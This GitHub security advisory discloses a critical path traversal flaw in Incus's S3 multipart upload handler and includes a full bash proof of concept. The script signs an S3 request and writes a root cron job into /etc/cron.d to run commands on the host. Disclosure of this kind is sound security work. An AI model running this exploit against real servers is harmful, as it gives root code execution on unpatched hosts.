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Arbitrary file write via path traversal in S3 multipart upload

Critical
stgraber published GHSA-ccjc-4qc3-jxqc May 28, 2026

Package

gomod github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions

< v7.1.0

Patched versions

>= v7.1.0

Description

Summary

The S3 protocol upload endpoint is vulnerable to path traversal and allows
creation of arbitrary files on the host. This behavior could lead to
arbitrary command execution.

In internal/server/storage/s3/local/multipart.go, user-controlled
upload ID is appended to the uploads directory unsanitized;

return filepath.Join(s.uploadsDir(), uploadID)

PoC

Setup

# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentials

Exploitation

The below script was mostly generated.

#!/usr/bin/env bash
set -euo pipefail

if [ $# -lt 4 ]; then
	printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
	exit 1
fi

endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"

region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"

uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"

amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"

canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date

$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"

hmac_hex() {
	printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}

k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"

printf '# body:\n%s' "${body}"

curl -ksS -X PUT "${url}" \
	-H "Host: ${host}" \
	-H "X-Amz-Date: ${amz_date}" \
	-H "X-Amz-Content-Sha256: ${body_hash}" \
	-H "Authorization: ${auth}" \
	--data-binary "${body}"

Impact

Arbitrary file write on the host. Possibly leading to arbitrary command execution.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-48753

Weaknesses

No CWEs

Credits